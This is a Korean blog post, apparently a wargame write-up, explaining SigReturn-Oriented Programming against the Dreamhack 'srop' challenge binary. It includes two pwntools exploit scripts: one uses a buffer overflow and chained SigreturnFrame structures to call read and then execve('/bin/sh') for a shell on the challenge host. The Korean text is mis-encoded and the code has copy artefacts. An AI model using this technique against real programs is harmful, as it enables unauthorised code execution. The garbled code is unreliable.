Jastes 2022. 11. 13. 23:00


SigReturn-Oriented Programming

์ด๊ฑด.. gadget??์ด ์žˆ๊ณ  signal์˜ ํ™œ์šฉํ•œ sigreturn์ด ์กด์žฌํ•˜๋„ค์š”

Partial RELRO๋กœ ROP ๋Š๋‚Œ ๋‚˜์ฃ  gadget(NX ์šฐํšŒ)ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ
read๋Š” 1024byte๋งŒํผ ๋ฐ›๊ธฐ์— bof ์‹œ์Šค์ฝœ์„ ํ˜ธ์ถœ ๋ ˆ์ง€์Šคํ„ฐ ์กฐ์ž‘ ์…ธ ํš๋“์œผ๋กœ ๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


์ต์Šค ์„ค๊ณ„

sigreturn ํ˜ธ์ถœ

SROP๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด sigreturn ์‹œ์Šค์ฝœ์„ ํ˜ธ์ถœํ•ด์•ผ์ฃ 
์˜ˆ์   ์ž„์˜ ์‹œ์Šค์ฝœ์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋„๋ก gadget ํ•จ์ˆ˜๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

ํ•ด๋‹น ํ•จ์ˆ˜ ๋‚ด๋ถ€ ์ฝ”๋“œ ๊ฐ€์ ฏ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ 
์‹œ์Šค์ฝœ ๋ฒˆํ˜ธ(sig_id?)์™€ syscall์„ ํ†ตํ•ด sigreturn์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

execve ํ˜ธ์ถœ

sigreturn์€ ์Šคํƒ ์˜์—ญ์˜ ๊ฐ’์„ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ 1024 ๋ฐ”์ดํŠธ๋ฅผ ์ž…๋ ฅ ์‹œ sigcontext ๊ตฌ์กฐ์ฒด..๋ฅผ ์ƒ๊ฐํ•˜๊ณ ,
execve ์‹œ์Šค์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•œ ์ธ์ž๋ฅผ ๋ชจ๋‘ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค!

๋”๋ณด๊ธฐ

- user mode -> kernel mode : user hardware context๋ฅผ kernel stack์— ์ €์žฅ๋จ

- kernel mode -> user mode : user stack์— user hardware context๊ฐ€ ์ €์žฅ๋˜๋ฉฐ sigreturn syscall์ด ๋ถˆ๋ ค user context๋ฅผ ์„ธํŒ… → sigreturn system call์„ ํ†ตํ•ด ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์„ธํŒ…


sigreturn ํ˜ธ์ถœ

pwn์—์„œ ์ด์ „์—๋„ ๋ดค์ฃ (elf.search) ํŠน์ • ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ฝ”๋“œ๋ฅผ ๊ฒ€์ƒ‰ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
์ด๋ฅผ ํ†ตํ•ด ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ , RAX ๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’์„ sigreturn ์‹œ์Šค์ฝœ์˜ ๋ฒˆํ˜ธ 15๋กœ ์กฐ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Name: srop.py
from pwn import *
 
context.arch = "x86_64"
 
= process("./srop")
elf = ELF("./srop")
 
gadget = next(elf.search(asm("pop rax; syscall")))
 
print(gadget)
 
payload = "A"*16
payload += "B"*8
payload += p64(gadget)
payload += p64(15# sigreturn
payload += "\x00"*40 # dummy
payload += p64(0x4141414141414141)*20
 
p.sendline(payload)
 
p.interactive()
cs

gdb_attack๋ฅผ ํ•ด๋„ ์•ˆ๋˜๋”๋ผ๊ณ ์š”.. ์™œ์ง€? ๋‚˜์ค‘์— ์ถ”๊ฐ€์ ์œผ๋กœ ์ˆ˜์ •ํ•˜๊ฒ ์Šต๋‹ˆ๋‹น


execve ํ˜ธ์ถœ

execve ์‹œ์Šค์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์•ž์„œ, sigcontext ๊ตฌ์กฐ์ฒด์— ์ •์˜๋œ
๋ ˆ์ง€์Šคํ„ฐ์˜ ์ˆœ์„œ๋ฅผ ๊ณ ๋ คํ•˜์—ฌ(๊ณ ๋ คํ• ํ•„์š” ์—†๋‹ค๋งค!) ์Šคํƒ์˜ ๊ฐ’์„ ์จ๋„ฃ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋งค๋ฒˆ ๊ตฌ์กฐ์ฒด๋ฅผ ํ™•์ธํ•˜๋ฉด์„œ ์Šคํƒ์— ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋Š” ๊ฑด ํž˜๋“ค์ฃ .
pwn์—์„œ๋Š” SROP ๊ณต๊ฒฉ์ด ์ˆ˜์›”ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋„๋ก SigreturnFrame ํด๋ž˜์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค!


์•ž์—์„œ ์‚ดํŽด๋ณธ SigreturnFrame์„ ์ด์šฉํ•ด execve ์‹œ์Šค์ฝœ์„ ํ˜ธ์ถœํ•˜๋Š” ์ต์Šค๋ฅผ ์ž‘์„ฑํ•ด๋ด…์‹œ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Name: srop.py
from pwn import *
 
context.arch = "x86_64"
 
#p = process("./srop")
= remote('host3.dreamhack.games'17110)
elf = ELF("./srop")
context.log_level = 'debug'
 
gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()
 
frame = SigreturnFrame()
 
# read(0, bss, 0x1000)
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
 
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15# sigreturn
payload += bytes(frame)
p.sendline(payload)
 
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500 
frame2.rdi = bss + 0x108
 
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"
 
p.sendline(rop)
p.interactive()
cs

์ด ๋ถ€๋ถ„์€ elf.search..๋ถ€๋ถ„์œผ๋กœ ์•ž์—์„œ ํ•จ์ˆ˜ ๊ฐ„๋‹จํžˆ ํ–ˆ์œผ๋ฉฐ next๋Š” iter์˜ ๊ตฌ์กฐ๊ฐ€ ์žˆ๊ธฐ์—
์‚ฌ์šฉ๋˜๊ฒ ์ฃ ? ๋˜ํ•œ _start..์€ ์™œ ๋„ฃ์ฃ ? ์•ˆ์“ฐ๋Š”๋ฐ ์“ธ์ผ๋„ ์—†๋Š”๊ฑฐ ๊ฐ™๊ณ (๋””๋ฒ„๊น…ํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋‚˜์š”?)

binsh๋Š” lib_base๋„ ๊ตฌํ•˜์ง€ ์•Š๊ณ  ๊ทธ๋ƒฅ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค(bss์˜์—ญ์— ๋“ค์–ด๊ฐ€๋‹ˆ๊นŒ(์ •์˜๋˜์ง€ ์•Š๋Š” ์ƒ์ˆ˜ ๋“ฑ)
๋„ฃ๊ณ  frame์€ SigreturnFrame()์ด๋ผ๋Š” pwn ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

 

์ € ์‹คํ–‰ ์ฝ”๋“œ์—์„  ์“ฐ๊ธฐ๋ฅผ ํ•œ๋ฒˆ๋ฐ–์— ๋ชปํ•˜๋‹ˆ๊นŒ read๋ฅผ ์ด์šฉํ•˜์—ฌ bss ์˜์—ญ์— binsh ๋„ฃ์–ด์•ผํ•ด์š”
read์ธ์ž ๋งž์ถฐ์„œ ์ ๋‹นํ•œ ํฌ๊ธฐ๋ฅผ ๋„“~๊ฒŒ ์žก๊ณ  syscall์€ ๋„ฃ๋„ค์š” bss๋„ ๋„ฃ์€ ๋ชจ์Šต
(sigcontext ๊ตฌ์กฐ์ฒด์— ๋งž๊ฒŒ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค ๋‹น์—ฐํžˆ x64 arch์˜ ์‹œ์Šค์ฝœ์„ ์‚ฌ์šฉ๋˜๊ธฐ์— ๋งž์ถ˜ ๋ชจ์Šต)

๊ทธ ํ›„ payload์— buf-sfp-ret gadget์„ ๋„ฃ์–ด ๋ณ€์กฐ ํ›„ sigreturn๊ฐ’์€ 15๋กœ(Why?)
๊ทธ ํ›„ frame์„ ์„ค์ •ํ•œ ๊ฒƒ์„ bytesํ˜•์œผ๋กœ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ ํ›„ execve๋กœ ํ•ด๋‹น arch์˜ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ํ™•์ธ ํ›„ ๋„ฃ์–ด์ค๋‹ˆ๋‹ค.
์ฐธ๊ณ ๋กœ frame2์—์„œ bss+0x500์„ ํ•œ ์ด์œ ๋Š”...

์—ญ์‹œ ๊ผผ๊ผผํžˆ ๋ณด๋ฉด ๋‹ค ์•Œ๋ ค์ฃผ๋Š”๊ตฐ์š” ์ „ ๋ถ„๋“ค์˜ ํ”์ .. ์Œ

์ด ๋ถ€๋ถ„์€ ์ ๊ธฐ ๊ท€์ฐฎ์•„์„œ ์ด๋ ‡๊ฒŒ ์˜ฌ๋ฆฝ๋‹ˆ๋‹ค.
๋˜ํ•œ fream2์—์„œ read syscall์„ ํ˜ธ์ถœํ•ด rsp ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ž…๋ ฅํ•œ bss ์˜์—ญ์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ”๊ฟ”
๋‹ค์‹œ ํ•œ๋ฒˆ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ์กฐ์ž‘ํ•˜๋„๋ก ๋งŒ๋“ญ๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰ payload๋Š” gadget์„ ๋„ฃ๊ณ  ์šฐ๋ฆฌ๊ฐ€ ์ˆ˜์ •ํ–ˆ๋˜ sigreturn num๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ํ•ด๋‹น ๊ฐ’์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
๊ทธ ํ›„ execve(shell)์„ ์ž…๋ ฅ bss์˜์—ญ์— ๋“ค์–ด๊ฐˆ ๊ฐ’๋„ ๋„ฃ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ ๋


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€